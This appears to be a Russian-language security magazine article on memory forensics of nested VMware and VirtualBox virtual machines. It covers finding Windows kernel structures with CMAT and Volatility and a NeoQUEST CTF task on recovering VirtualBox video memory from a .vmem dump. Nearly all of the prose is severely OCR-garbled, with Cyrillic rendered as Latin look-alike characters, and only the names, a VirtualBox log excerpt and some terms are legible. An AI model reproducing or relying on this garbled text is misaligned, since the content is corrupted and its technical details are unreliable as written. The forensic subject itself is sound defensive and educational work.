Bo6paBLunx b ce6a «opneHTnpoBaHHoe Ha b3/iom» (ycTapeBiuee, HenpaBi/uibHO Ha- 
CTpoeHHoe m nposee) nporpaMMHoe o6ecneneHne. Oahhm H3 t3khx nsnnejen Damn 
Vulnerable Linux. 

9. OST ( bit.ly/lgNHGWN ) — Ana peBepcepoB TaKxe ecTb cbom KBecTbi, ot oneHb npo- 
ctnx, npn3BaHHbix HaynnTb 6biCTpo nepeBOAHTb Hwcna M3 oahom CHCTeMbi CHwaneHHH 
b Apyryto, ao oseHb m oneHb onoxHbix, HaA npoxoxAeHweM kotophx npwAeTca cmibHO 
noKopneTb. 

10. PentestIT ( bit.ly/1j6Rdm2 ) — OTenecTBeHHafl KOMnaHna, npeAJiarafomafl Kypcbi 
no MB, nporpaMMy CTaxupoBKH, aTaKxe BMpTya/ibHbie neHTecT-jia6opaTopnM, b ko- 



Topwx moxho Bno/iHe jiera/ibHo ncnpeHnpoBaTbUH b noncKe v\ aKcrmyaTaunn ynaBM- 

MOCTGM. 
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KOnAEMCFI B OI1EPATMBHOM 
flAMflTI/l B l/l PTYAJlbH Ol/I MALUMHbl 



nonyjiFipHaFi b nocneAHee BpeM^i TexHonori/i£ Bi/ipTyani/i- 
33141/11/1 Hafle/ia/ia mhoto myMa b Mi/ipe i/mcj)opMaij,i/ioHHOi7i 
6e3onacHOCTM. HecMOTpq Ha to hto yxe cymecTByiOT 
cpeflCTBa aHa/iM3a flaHHbix Bi/ipTyajibHbix Mai_ui/iH, i/icc/ie- 
AOBaHMe naM^TM noc/ieAHi/ix ociaeTCFi AOBO/ibHO hgtpm- 
Bi/ianbHOi7i 3aAaneM. nooTOMy ceroflH^ mn nocMOTpi/iM, 



KaK BbiopaTbc^ M3 nayTMHbi BMpTya/ibHbix CB^3en MexAy 

pa3J1l/lHHblMl/l CTpyKTypaMM B C[)M3MHeCKOM nSMFITI/l, KOTO- 

pyfo co3AaH3T Windows, VMware v\ VirtualBox. 



BMPTyAJlM3Al4Mq KAK CnOCOE 3ALMMTbl 

KoMMepnecKne cpeACTBa BMpTya/iM3au,MM pj\9\ AOMawHHx KOMnbioTepoB ncnojib3yiOT- 
cn He mnbKO A-na AGK/iapkipyeMbix nocTaBiu,nKaMki ue/iePi: o6ecneneHHfl cobmgctm mo- 
ot n nporpaMMHoro oCecneneHHfl, 3anycKa oSecneneHMfl cobmgcthom pa6oTbi Windows, 
Linux m Apyrux onepauyioHHbix ci/iCTeM Ha oahom KOMnbKrrepe, ynpomeHi/ia oxnaAKM 
m TwecTi/ipOBaHi/m nporpaMM... KpoMe 3toi~o, MHorne ncnojib3yiOT i/ix Rnn 3am,nTbi cbomx 
AaHHbixcrr B03MO>KHbixyrpo3. Hanpniviep, Windows BHyTpi/i Bi/ipTya/ibHOM MawHHbi moxgt 
cnyxMTb xopoujMM cpeACTBOM a^h 6e3onacHoro cepcJwHra no CeTM, BeAb Jiio6afl yn3Bn- 
MOCTb 6pay3epa win OC, KOTOpoPi moxgt BOcnonb30BaTbCH HapyiuHTejib A-na araKM cn- 
CTeMbi, He civioxeT noBpeA^Tb xoctobom cncTeMe 6/iaroAapfl M3onau,MM BHpTya/ibHOM Ma- 
LUMHbi. TaKOM cu,eHapnPi Bbim^AMT AeMCTBMTenbHO pa3yMHbiM, Aa>Ke npn tom, hto m caMM 
cpeACTBa BMpTya/iM3au,MM He jimueHbi HeAOCTaTKOB h TaK xe, KaK h /iio6afl nporpaMMa, 
o6/iaAafOT y^3BMMOCTfiMM. HanpuMep, b 2011 roAy Ha KOHct>epeHu,MM Black Hat He/ibcoH 
3jixma>k (Nelson Elhage) npoAeMOHCTpupoBa/i ya3BHMOCTb b Linux KVM, no3BO/ifliomyK) 
Hapyuji/iTe/iK) Bbifrm 3a npeAe/ibi BMpTya/ibHofi MauinHbi i/i Bbino/iHMTb koa na xoctobom 
cncTeMe c caMbiMM BbicoKMMM npMBmiemflMH. BnponeM, Koni/inecTBO t3kmx yfl3BHMO- 
cje\/\ 3HaHMTe/ibHO MeHbLue Be/iMKoro MHOxecTBa y«3BHMOCTeM onepau,MOHHbix cmctcm 
m 6pay3epoB. 

Ec/im paccMaTpuBaTb Bonpocbi 3aiu,nTbi BMpTya/ibHOM MaiunHbi ot aTaK co CTopoHbi 
xoctobom, to b 3tom anyHae He Bee TaK OAH03HanHO. XocTOBaa ci/iCTeivia no yMO/iHaHMK) 
o6naAaeT 60/iee bncokhmm npMBM/iernfiMM, neivi rocTeBaa, KTOMyxe ctohkm 3peHMH Tex- 
HO/iorMM BMpTya/iM3au,MM MOHMTop BMpTya/ibHbix MaiuHH MMeeT AOCTyn ko BceM pecypcaM 





A/ieKCeM HMKOJIbCKMM 

(cTapiuMM npenoflaeaTe/ib 

Ka<t>eAPbi mbkc cnsrny, 

pa3pa6oTHMK NeoQUEST) 



AHflpeii Hmkmtmh 
(pa3pa6oTHMK 
NeoQUEST) 



Bcex BnpTya/ibHbix Mawi/m. lloaTOMy aTaKM, CBH3aHHbie c KpaxePi MHcfjopMaunn M3 Bi/ipTy- 
a/ibHOM MaiuMHbi, Bno/iHe pea/ibHbi. OAHaKO He Bee TaK npodo, KaK KaxeTca Ha nepBbiPi 

B3mHA- 

BMPTyAJlM3AI4Mq PECYPCOB 

TexHO/iorni/i Intel-VT m AMD-V pacLuupmin 32- (Protected Mode) m 64- (Long Mode) 
6nTHbie pexMMbi pa6oTbi npou,eccopa HOBbiMM i/mcTpyKUkiflMi/i m perncTpaiviM, KOTOpbie 
no3BO^fiK)T 3anycKaTb BnpTya/ibHbie MawnHbi. Bo3MO>KHOCTbK) 3anycKa BHpTya/ibHbix 
ManiMH m no/iHbiM AOCTynoM k AaHHbiM BnpTya^bHbix MaiuMH o6/iaAaeT TO/ibKO Hy/ie- 
Boe Ko/ibuo 3aiAHTbi b Protected Mode n Long Mode, hto cooTBeTCTByeT npMBbiHHO- 
My ^Apy onepau,noHHOM cncT©Mbi. 3to 03HaHaeT, hto b c/iysae ncnonb30BaHHfl VMware 
Workstation no/iHbiM AOCTynoM k pecypcaM BnpTyanbHbix Maiui/iH o6naAaeT mnbKO 
flAPO Windows win Linux, b to Bpeivm KaK npi/iBbHHbiM Be6-6pay3ep AOCTyna k BMpTy- 
anbHbiM MaiuMHaM He MMeeT. BnponeM, A-na pa6oTbi BnpTya/ibHbix ManiMH oahom TexHO- 
jiornn Intel-VT win AMD-V Majio: HTo6bi o6ecnenwTb pa6oTy nojiHOi_i,eHHofi onepaui/iOH- 

HOM CUCTeMbl BHyTpM BkipTVaJlbHOPi MaiilUHbl, XOCTOBafl CMCTeMa AO/l>KHa npeAOCTaBMTb 
3MyJiqU,MK) pa60Tbl 3HaHHTeTlbHOrO KOJlHHeCTBa pa3/IMHHblX VCTpOMCTB. B 6o/l bLU 1/1 HCTBe 

cpeACTB BMpTya/iM3au,MM, ot AOMaiuHMx ao cepBepHbix, 3My/ifiTopbi ycTpoMCTB A-n^ Ka- 
xaom BMpTya/ibHOM MaiuMHbi pa6oTaK)T BHyTpn o6biHHbix npou,eccoB xoctobom onepa- 
i4hohhom cucTeMbi (Hanpwiviep, p,r\9\ VMware sto vmware-vmx.exe). 



Windows Host 




BM VMware 



Windows/Linux 



Kernel 



VMware Workstation VMM 



Pecypcbi BnpTya JibHOM 
MaiuHHbi h rocTeBOki OC 



npuBMJierHM 3tmx npoueccoB, b cbokd onepeAb, saBHCsrr ot KOHKpeTHoro cpeACTBa 
BnpTya/insauuM m BapbupyiOTCfl ot npnBmiernfi TeKymero no.nb30BaTe.rm cucTeMbi ao npaB 
aAMMHMCTpaTopa. 3iviy.rmTopbi Tpe6yK)T AOCTyna k pecypcaM BMpTya/ibHoPi MaiuMHbi, no- 
3T0My npoueccy c SMy/mTopaivii/i AOCTynHbi pecypcbi caMOM BnpTya/ibHOM MawuHbi. 

HyxHO neTKO pa3Ae/iMTb noHHTMH pecypcoB rocTeBoPi onepau,MOHHOM cucTeMbi m pe- 
cypcoB BMpTya/ibHoPi MaiuMHbi. IlocKOJibKy TexHO/iorna BMpTya/iM3au,MM co3AaBanacb 
A/151 Toro, HTo6bi 3anycKaTb BHyTpn BnpTya/ibHbix MaiiiMH jiio6bie onepaunoHHbie ci/icTe- 
Mbi, to pecypcaMM BnpTya/ibHOM MaiuMHbi HB/iaiOTCfl perncTpbi BnpTya/ibHoro npou.ec- 

COpa ( KCT3TM , HeMa/ieHbKMM TaKOM CnMCOK \A3 HeCKO/lbKMX A0C3TK0B, BK/HOHaiOLAUM aoc- 

KpuinTopbi cerMeHTOB n ynpaBruuoLune perncTpbi), onepaTMBHaa naivmTb, Bi/iAeonaivmTb 

1/1 nnnrTnanr.TRn nnmnR RRnna-Rkmnna p Ta^p nfSnar^ Ri/im~\/a nkHkiY Hnr.i/iTPnPM MHrhnn- 



Mau.nn (Hanpwviep, xgctkmx amckob). B cbokd onepeAb, k pecypcaM rocTGBOM onepau,n- 
ohhom CMCTeMbi, pa6oTaK)Lu,6M BHyTpM BMpTya/ibHOM ManiHHbi, moxho OTHecTM npouec- 
Cbi, ct>aMjibi m flpyrwe o6"beKTbi. 

HapywMTerm name Bcero MHTepecytOT mmchho pecypcbi onepau,MOHHOM cucTGMbi, no- 
3T0My atih coBepujeHMsi aTaKM c KpaxeM Aam-ibix eMy noTpe6yeTCH npeo6pa30BbiBaTb pe- 
cypcbi Bi/ipTya/ibHoPi MaiunHbi b pecypcbi rocTeBOM onepau.MOHHoPi CMCTeMbi. HanpMMep, 
cjDaM/ibi Heo6xoAMMO co6npaTb no CGKTopaM, Mcno/ib3yfl <t>opiviaT (jDaitnoBoPi CMCTeMbi, 
a aApecHoe npocTpaHCTBO npouecca bhvtpm rocTeBOM — no CTpaHMHKe, Mcnojib3Vfl Ta- 
6/inubi TpaHcnflui/M aApecoB. fl/m npoxoxAeHMH 3aAaHna NeoQUESTynacTHMKaM hvxho 
6bmo KaK pa3 M3 cf>aM.na c AaMnoM naMFiTi/i no/iyHMTb BMAeonaMHTb rocTeBOM onepaunoH- 

HOM CMCTeMbi. 



Windows/Linux 




OaM/i c AaMnoM naMflTi/i 



OTo6pa>KeHMe pe- 
cypcoB BnpTya/ibHoPi 
MauiHHbi b pecypcbi 

fOCTGBOM OC 



B Id PTYAJl bH bl M AHA/1 M 3 

A/m no/iyHeHMfl pecypcoB rocTeBOM CMCTeMbi M3 pecypcoB BnpTyanbHOM MaiunHbi mo>kho: 

1 . Mcnonb30BaTb cneunanbHbiPi API ot npon3BOAHTeneM cpeACTB BnpTya/iM3aunn. 

2. AHa/iM3MpOBaTb onepaTMBHyio v\ BMAeonaM^Tb BMpTya/ibHOM MauiHHbi. 

CpeACTBa BnpTyann3auMM HepeAKO ycTaHaB/wBaiOT BHyTpb rocieBbix onepauMOH- 
Hbix cucTeM Aono/iHMTe/ibHbie ApaPiBepbi (HanpMMep, VMware Tools), o6ecneHMBaK)LAne 

B3aMM0AeMCTBMe XOCTOBOM M rOCTCBOM CMCTGM. llO.nb30BaTe.nb XOCTOBOM CMCTeMbi HaCTO 

Aaxe MOxeT Bocnanb30BaTbCH API Ana AOCTyna k HeKOTopbiM pecypcaM rooreBOM onepa- 
Umohhom CMCTeMbi. Ho API AOCTynHbi Aa/ieKO He A/m Bcex cpeACTB BMpTya/iM3auMM, m mx 
4)yHKUM0HanbH0CTb BecbMa orpaHMneHa. 

OnepaTMBHaq xe naMHTb BMpTya/ibHbix ManiMH AOCTynHa Ana /no6oro cpeACTBa BMp- 
TyanM3auMM. AocTyn k HeM moxho Hanp^Myio nonyHMTb KaK M3 flApa xoctobom CMCTeMbi, 
TaK m M3 npou.eccoB c SMyrmTopaMM ycTpoPiCTB. K TOMy xe /iio6afl coBpeMeHHaa onepa- 
UMOHHaa CMCTeMa xoponio CTpy KTy p m pyeT cbom AaHHbie b onepaTMBHOM naM^TM, noaTOMy 
ohm AOCTynHbi a^ aHa^M3a. 
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OnepaTHBHaa naMATbc abymh QC oAHOBpeMeHHO 



A KAKME MMKPOCKOflbl HdlOJlbSOBATh? 

K cnacTbio, cymecTByeT yxe p^A npoeKTOB, KOTopbie aHani/i3npyiOT A^Mnbi onepaTi/iB- 
ho\a naivmTi/i, BbmBrma b hmx cucTGMHbie CTpyKTypbi Windows h Linux, b pe3ynbTaie nony- 
nan Heivia.no nH(J)opMau,nM 06 3tmx CMCTeiviax. Moxho BbiAe/iMTb npoeKT CMAT 1/1 Volatility 
Framework . 3tm npoeKTbi, noMMMO Toro hto 06/iaAaKDT OTKpbiTbiMM ncxoAHbiMi/i koa^mm, 
Bbino/iH^iOT my6oKMM aHa^M3 AaivinoB onepaTWBHofi naivi^TM m no3BO/ifliOT no/iysMTb ao- 
CTyn k MHOxecTBy pecypcoB CMCTeMbi Windows. Ohm aHa/in3i/ipyiOT A^Mnbi c ncno/ib30- 
BaHneivi MHOxecTBa a/iropnTMOB v\ sbpmctmk, npon3BOA^ noncK cumaTyp b naivmTM. Ha- 
npwviep, finn onpeAe/ieHna onepauMOHHoPi CMCTeMbi no AaMny naMflTM CMAT npwvieHaeT 
HGCKO/ibKO pa3Hbix cnocoSoB: 

1 . rioncK onpeAe/ieHHOM cumaTypbi KDBG, npucyTCTByfOLuefi bo Bcex HApax Windows. 

2. noMCK PEB m npoBepKa cbh3hocth cnwcKa 3arpy>KeHHbix MOAy/iefi. 

riepBoe, hto nbiTaKDTca CAenaTb 1/1 CMAT, 1/1 Volatility Framework, — sto nonyHHTb 3Hane- 
HMe cJ)M3MHecKoro aApeca KopHeBOM Ta6nnu 1 bi, Mcno/ibsyKDiAePica b npeo6pa30BaHMM Bwp- 
Tya/ibHbix aApecoB BHyTpn Bi/ipTya/ibHofi MamnHbi b ct)M3MHecKne aApeca. B npoTi/iBHOM 
cnynae aHa/iM3npOBaTb A^Mn He yaacTCfl, nocKO/ibKy Bee pecypcbi b A^Mne ncno/ib3yK)T 
BnpTya/ibHbie aApeca, a CMemeHMH b AaMne onepaTMBHoPi riais/m™ BcerAa cooTBeTCTBy- 
kdt (J)M3MHecKMM aApecaM. CoBpeivieHHbie onepau,noHHbie CMCTeMbi Moryr ncno/ib30BaTb 
TpM pa3/iMHHbie CTpyKTypbi BMpTyanbHoPi naivmTi/i: o6bHHyio AByxypOBHeByio, TpexypOBHe- 
ByK) PAE n neTbipexypoBHeByio PML4 atia 64-6nTHbix CMCTeM. Bee sto HyxHO ynnTbiBaTb 
npn aHann3e ASMna nais/mTi/i, hto ycneiuHO AenaiOT CMAT m Volatility Framework. 

KaK Tbi yxe noHRn, aHann3 Aaivina onepaTMBHOM naMm~n AOCTaTOHHO HeTpHBwa/ibHoe 
3aHsrn/ie. CaMM ASMnbi moxho no/iym/iTb HecKonbKMMM cnoco6aivii/i: noMMMO noriHoro AaM- 
na ot BSOD moxho ncnonb30BaTb Cold boot attack. ATaKa LuwpoKO n3BecTHa KaK cnoco6 
B3/ioivia LUMcbooBaHna BitLocker 1/1 3aicnK)HaeTCfl b tom. hto nnaHKM oneoaTMBHoPi naM5rrn oa- 



6oTaiOLnero KOMnbKrrepa 3ajiMBaiOTCfl xmakmm a30T0M (oh no3Bon$ieT coxpaHMTb AaHHbie 
onepaTMBHOM riais/m™ Ha nnaHKax DIMM Ha BpeMfl ot HecKO/ibKnx mmhyt ao HecKonbKnx na- 
cob npn BbiK/iiOHGHHOM riMTaHnn), 3aTeM aKKypaTHO nepeMeuuaiOTca b ApyroM KOMnbKDTep, 
c KOToporo ocymecTB/ifleTCfl HTeHne ocTaTOHHOM MH4)opMau,MM m nonyneHne AaMna. B Ha- 
lljgm cjiynae Bee ropa3AO npome — oto HTeHi/ie (J)M3MHecKOM naivmTi/i BnpTya/ibHOM MaujMHbi, 
hto moxho BbinojiHMTb M3 xoctobom ci/iCTGMbi. Hanpniviep, VMware a/i^ KawoPi 3anymeHHOM 
Bi/ipTya/ibHOM MaujMHbi b nanKe c xxx . vmx cj)afi.noM co3AaeT (pawn yyy . vmem, KcrropbiM 9\Bnn- 
ejcn Memory Mapped m coAepxnT nonHOCTbio (6aPiT b 6aPiT) o6pa3 onepaTMBHOM naivmTH 
BkipTya^bHOM MaujMHbi. 
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Windows #2 



ripeo6pa30BaHMe BHpTya/ibHoro a^peca rocTeBoii 

OC b CMeLue Hue b cj)aM/ie AaMna onepaTMBHOM naMHTH xocia 



BKlPTYAJlbHAfl n AM 51Tb 

B npocTefiiueM cnynae naivmTb, noABepraK)Lu,aaca aHann3y, nonHOCTbio npuHaAnexm oa- 
hom onepauMOHHOM cucTeivie, n cwnaTypHbiPi MeTOA noMCKa ycneniHO o6HapyxnT CTpyK- 

Typbl 3T0\A CMCTeMbl. 

Ec/im xe npucyTCTByeT BTopaa OC, Bi/ipTyann30BaHHafl (to ecTb BM, 3anyiu,eHHasi BHy- 
Tpw BM), to 4)M3ki4ecKafl naivmTb pa3AermeTCfl MexAy humm m coAepxnT naivi^Tb AByx 
OC OAHOBpeivieHHO. A ec/iw Bepci/iw OC coBnaAaiOT, to npi/i aHa.nn3e 6yAyT o6HapyxnBaTb- 
ch Ay6/iMKaTbi CTpyKTyp naivmTH m 6yAeT normaa nyTaHnu,a b BHpTya/ibHbix aApecax. 

3tm o6cTO?iTe/ibCTBa cmibHO 3aTpyAHflKrr noncK CTpyKTyp AaHHbix. Kpoivie Toro, 
A/i5i ncnonb30BaHM5i yKaaaTe/iew h e ao ct3to h h o 3HaTb Ta6nMu I y CTpaHnu, rocTeBOM OC, 
nocKO/ibKy nonyHeHHbiM no Hew c{)M3MHecKMM aApec noA-nexnT eme OAHOMy npeo6pa30- 
BaHMio c ncnonb30BaHneM EPT (Extended Page Tables). nosroiviy, npexAe HeM aHa/in- 
3npoBaTb A^Mn naivm™, Heo6xoAHMO H3MTM ynpaB/mfomyio CTpyKTypy f\nn BnpTya/ibHOM 
MaiiiMHbi, nonyHMTb H3 Hee yKa3aTenb Ha EPT m o6beAHHi/iTb CTpaHnubi cJ)M3MHecKOM na- 
mhth, npHHaA/iexaiAne rocTeBOM OC, Arm OTAe/ibHoro mx aHann3a. 

riocne Toro KaK c aApecHbiMi/i npocTpaHCTBaMM i/i npeo6pa30BaHneM pa3o6pani/icb, 
Heo6xoAHMO aHa^M3npoBaTb CTpyKTypbi HApa. MHcjDOpMau,nio o CTpyKTypax mo>kho no- 
TiynnTb H3 HecKO/ibKMx MCTOHHMKOB, cpeAn KOTopbix 3aronoBOHHbie 4)aMJibi Windows SDK 
m PDB-ct>aMJibi. B 3aronoBOHHbix <$>ai/\nax SDK onucaHbi, KaK npaBuno, CTpyKTypbi, He Me- 

HflK)LlJ,HeCfl OT BepCMM K BepCMM. B OTJ1MHI/1G OT HMX PDB-C|)aPinbl COAepXaT CMMBOJlbHyK) 

MHc^opMauMK), npeAHa3HaneHHyK) Ana oahom onpeAeneHHOM BepcMM Windows. MexAy 
CTpyKTypaMM pa3Hbix Bepci/ifi Windows MoryT 6biTb pa3nnHM5i, nooTOMy ati^ aHa^M3a He- 
o6xoahmo TaKxe y3HaTb BepcMK). PDB-c|)aM.nbi coAepxaT MH0opMai4MK) o Tune m nivieHM 
no^ew, mx pa3Mepe m CMemeHnqx BHyTpw CTpyKTypbi. 
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KAK CM AT M VOLATILITY PACflYTbl BAIOT nAYTMHY WINDOWS 

PaccMOTpuM oahh M3 caMbix npocTbix MeTOflOB aHa/iM3a, pea/iM30BaHHbix b yTn/iMTax 
CMAT m Volatility: noncK CTpyKTypbi AaHHbix flApa Windows KDDE BUGG E R_DATA64. CTpyK- 
Typa KDDEBUGGER_DATA64 npeAHa3HaneHa f\nn ncno/ib30BaHna OT/iaAHMKOM ypOBHH 

HAPa M BK/llOHaeT 3HaHeHMfl, 3HaHMe KOTOpblX MOXeT nOMOHb B MAeHTMCt)MKaUMM BepcMM 

Windows m Aa/ibHeMiueM ananme. Oni/icaHwe CTpyKTypbi coAepxnTca b 3aro/iOBOHHOM 
(\>av\ne wdbgexts.h M3 Windows SDK. OT^MHMTe/ibHaa ee oco6eHHOCTb — OHa He MeHfl- 
ejcn b pa3/iMHHbix Bepcwflx OC. 3to CAe/iaHO A/m toi~o, HTo6bi M36aBMTbCfi ot Heo6xo- 
Ahmoctm MMeTb pa3/MHHbie Bepcuw OT/iaAHWKa Win Dbg. OnpeAe/ieHi/ie AaHHOM CTpyKTy- 
pbi b naivimn no3BO/ifleT CAe/iaTb bnboa o Ha/WHHH 3anymeHHOM OC Windows b MOMeHT 
CH^TMq Aaivina naMsr™. rioc/ie SToro moxho aHa/in3MpoBaTb naivmTb Ha Ha/iHHi/ie nponux 
CTpyKTyp, cneu,ncJ)MHHbix A/m Windows. 

CTpyKTypa wvieeT AOCTaTOHHO 6o/ibiuoe hmc/io naneft, oah3ko Rnn ee onpeAe/ieHi/m 
Heo6xoAHMbi jiHLUb HeKOTopbie HaxoAfli-Ui/iecfl b Hana/ie. TaK, nepBbiM aneivieHTOM CTpyK- 
Typbi nsnneicn Apyraa CTpyKTypa — DBGKD_DEBUG_DATA_HEADER64, KOTopaa, b cbok) 
onepeAb, coAepxMT MeTKy B/iaAe/ibua 6/iOKa AaHHbix v\ ero pa3Mep. 5jiok, npeAna3Ha- 
neHHbiM p,nn WinDbg m npi/icyTCTByioLAwPi BcerAa, o6/iaAaeT MeTKOM KDBG. 3to 3HaneHMe 
moxho Mcno/ib30BaTb KaK cumaTypy A-n^ noncKa CTpyKTypbi. fl/ia noBbiLueHna tohhocth 
b cjiynae B03HMKHOBeHM5i npo6jieM onpeAe/ieHna npaBM/ibHOM CTpyKTypbi moxho npn- 
MeH^Tb Aono/iHMTenbHyio npoBepKy oneAyKDmero norm CTpyKTypbi — pa3Mepa 6/iOKa 
AaHHbix. no onucaHMK) b 3aro/iOBOHHOM ct>aMJie moxho onpeAe/iMTb ee pa3Mep v\ cpaB- 
HMBaTb c pa3MepOM KaHAMA^Ta. nocne onpeAe/ieHHH CTpyKTypbi KDDE BUGG E R_DATA64 
Heo6xoAHMO HaMTM CTpyKTypy DBGKD_GET_VERSI0N64 A-na no/iyneHMq BepcuM. 3tm ABe 
CTpyKTypbi BcerAa HaxoAflTca p^aom b naiN/m™, nosTOiviy A-na nowcKa btopom CTpyKTypbi 
HyxHO npoBepMTb /inu_ib He6o/ibiiiOM ynacTOK okojio Ha^ACHHOM, Hanpwiviep OAHy CTpaHn- 
Liy. DBGKD GET VERSI0N64 He MMeeT nocTOHHHOki cnmaTypbi, oah3ko AV6\ni/ipyeT 3Hane- 



Hi/m no/iefi KernBase v\ PsLoadedModuleList CTpyicrypbi KDDEBUGGER_DATA64, no3TOMy 
cnmaTypa moxgt 6biTb cocTaB/ieHa b npouecce aHa/iki3a. Elug oahom nacTbio aHajii/i3a 
flB/iaeTca onpeAe/ieHne 3HaH6Hi/m perncTpa CR3, KOTopoe pea/iw3yeTCfl c noivioinbio ne- 
pe6opa Bcex CTpaHnu, naivmTi/i i/i nonbiTOK npeo6pa30BaHna HeKOTopbix aApecoB: Hanpui- 
Mep, M3 KDDEBUGGER_DATA64 y3HaeM aAPGC 6a3bi HApa, a 3aTeM Bbinoni-mGM npoBepKy 
Ha/iMMMFi KoppeKTHoro PE-o6pa3a no nonyHGHHOMy aApecy. Oah3ko b Windows Ta6jinu,bi 
CTpaHMu, MoryT MannTb caivin cg6h, nosTOiviy TaKyio CTpyicrypy b naivm™ moxho HaMTM 

AOCTaTOHHO 6blCTpO. 

rioc/ie onpeAe/ieHM^ Bcex nepeHMcneHHbix Bbime AaHHbix mo>kho OAH03HanHO onpe- 
AG-HHTb Ha6op cmmbojiob Ana HaMAGHHOM BGpcMM Windows nyTeivi npocMOTpa CGKU,MM OT- 
jiaAKM PE-o6pa3a flApa min xg c ncno/ib30BaHMGM nonynGHHoro HOMopa bgpcmm. 
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Windows 7 
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VirtualBox 



flaivin 
narvmTi/i 



VMware Workstation 



HTO y HAC nOA MMKPOCKOnOM? 

Hto6n hg 6biTb ro^oc/iOBHbiMM, AaBaPi paccMOTpuM bcg CKa3aHHOG Ha npaKTMKG. Ajih npi/i- 

MGpa B03bMGM OAHO M3 3aAaHMM HGA3BH0 npOLUGAWGrO NGOQUEST-2014, KOTOpOG Ha- 
3blBa/IOCb «OTMOpOXGHHblM KOMnbK)TGp». YHaCTHMKaM Hy>KHO 6blJ10 HaMTM K/1K)H (OTBGT 



Ha 3aflaHne; b Aaivine onepainBHOH naMHTM, no/iyneHHOM nyTeM npocToro KonnpoBaHna 
ct>aMJia xxx.vmem ot 3anymeHH0M h HacTpoeHHOM 3apaHee Bi/ipTyanbHoPi MaiUMHbi. Cjio>k- 
HOCTb 3aK/iK)Ha.nacb b tom, hto BHyTpn b m pTya/i bH o m MaiUMHbi VMware, ot kotopom m npe- 
AOCTaB.rm.ncfl AaMn, 6bma co3AaHa m 3anymeHa APyrasi BnpTya/ibHafl ManiMHa noAynpaB- 
/lem/iGM VirtualBox. npuneivi o6e BnpTya/iKM 6bmn i~ioa ynpaB/ieHneM OAHHaKOBbix bgpcmm 
Windows 7, nooTOMy b Aaivine naivm™ npwcyTCTBOBa.no OAHOBpeivieHHO ABe onepau,noH- 
Hbie CMCTeMbi, Mbn CTpaHnu,bi naivi^TM 6bmn cmibHO pa36pocaHbi no A^Mny. Bot m nonpo- 
6yw HaPiAH b stom nayTHHe HyxHbiM kjiiom... Eme oahom oco6em-iocTbio 3aAaHHH 6bmoTO, 

HTO K/1KDH 6blJl TOJlbKO B BHAG rpacfWHeCKOrO l/l306pa>KeHI/1fl B BMAeOnaMflTM BMpTya/lbHOM 

MaujMHbi VirtualBox. riosTOMy Rnn peweHMH ynacTHMKaivi Heo6xoAHMO 6bmo BOccTaHO- 

BMTb BMAeOnaMHTb 3T0M BMpTya/lKM. 
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WARNING 

klH(|)opMauMfl npeAO- 

CTaB^eHa l/ICKJUOMllTe/lb- 
HO B 03HaK0Mme/lbHblX 

uejiflx. Hm peAaKuufl, 
hm aBTop He HecyT OTBeT- 

CTBeHHOCTM 3a/lK)60M 

B03M0XHbiii BpeA, npM- 
HMHeHHbm Maiepna/iaMM 

A3HH0M CTaTbM. 



TO, 4TO OCTAJIOCb IIOCJIE BYPli 

riyTeM npoxoxAeHna Mor/io 6biTb HecKonbKO, Mbi npi/iBeAGM peiueHMe c nonyneHHeM bm- 
Aeonaivm™ BnpTya/ibHOM MamnHbi VirtualBox m (J)opMMpoBaHneM H3 Hee KapTMHKn c mc- 
no^b30BaHneM MannHHra BkiAeonaMflTH b cJ)M3MHecKyK) naivmTb Bi/ipTya/ibHOM MaoiHHbi 
VMware. 

LUar 1 . no/iynaeM Bee HkrraeMbie ctpokm M3 AaMna naivi^TM Bi/ipTya/ibHoPi Mawi/iHbi 
VMware npn noMomn yTM/inTbi strings.exe. Oaw/i co ctpoiomh nonynaeTCfl BHyninTejib- 
HbiM: 196 M6. 

Moxho 6bino BMecTO strings.exe ncnonb30BaTb CMAT v\nv\ Volatility Framework. MHTe- 
pecHO OTMeTMTb, hto npw ncnonb30BaHMn CMAT Ha BbiAaHHOM ynacTHMKaivi Aaivine npo- 
rpaMMa 0TKa3biBajiacb HopMa/ibHO pa6oTaTb, b to BpeMfl KaK Volatility Framework ycnew- 
ho cnpaBJifljicn co CBoePi pa6oTOM i/i HaxoAnn cpa3y ABe onepau,MOHHbie CMCTeMbi. 

LUar 2. Y3HaeM, hto 3anyw,eHa Bi/ipTyanbHaa MaiunHa VirtualBox, m no/iynaeM KycoK 
Jiora ot ee 3anycKa c 6onee noApo6HOM i/i Heo6xoAHMOM HaM MHobopMauweM. 



: 2013122720131228 : komsomol@file : ///C : /Users/komsomol/VirtualBox%20VMs/KP-2/^ 

Logs/VBox. log 

00:00:02.305000 

00:00:02.305001 [/DBGF/] (level 1) 

00:00:02.305002 Path <string> = "C:\Users\komsomol\VirtualBox VMs\KP-2/<-j 

debug/;C:\Users\komsomol\VirtualBox VMs\KP-2/;C:\Users\komsomol/" (cb=103) 
00:00:02.897225 HWACCM: TPR shadow physaddr = 000000003dd5f 000 
00:00:02.897227 HWACCM: VCPU0: MSR bitmap physaddr = 000000003dd67000 
00:00:02.897229 HWACCM: VCPU0: VMCS physaddr = 000000003dd65000 
00:00:02.897653 CPUMSetGuestCpuIdFeature : Enabled sysenter/exit 
00:00:02.897655 HWACCM: 32-bit guests supported. 
00:00:02.897656 HWACCM: VMX enabled! 
00:00:02.897656 HWACCM: Enabled nested paging 
00:00:02.897658 HWACCM: EPT root page = 000000003dd8b000 



M3 Jiora y3HaeM, hto BicniOHGHa annapaTHaa Bi/ipTyajii/isauj/m i/i annapaTHaa noAAepxKa Ta- 
6/imu, CTpaHMu, nested paging. nocneAHee 03HaHaeT, hto VirtualBox HacTpanBaeT Ta6/in- 
Ubi EPT, KOTopbie ncno/ib3yiOTCfi 3aTeis/i npoueccopoM npeo6pa30Bam/ifl cJ)i/i3MHecKi/ix 
aApecoB BnpTya/ibHOM MamnHbi b (J)M3MHecKMe aApeca xoctobom MauunHbi. B HaweM cny- 
nae cf)M3MHecKMe aApeca BMpTya/ibHoPi MaujMHbi VirtualBox b CMemeHHH b c^afine A^Mna 
naMfiTM. HTo6bi y3HaTb no6onbLue npo <t>opMaT EPT (m npoTO, hto oh cooTBeTCTByeT PML4), 
hvxho noHMTaTb MaHya/i npou,eccopa. 

AApec KopHeBOM TaSjii/iubi bmach b /lore v\ paBeH 3dd8b000. KaK h b nio6bix Ta6/inu,ax 

TpaHC/lfH4MM, B HeM HCnOJlb3yK)TCfl MCKJlKDHMTe/lbHO Cj)M3MHeCKl/ie aAPeca, KOTOpbie COOT- 

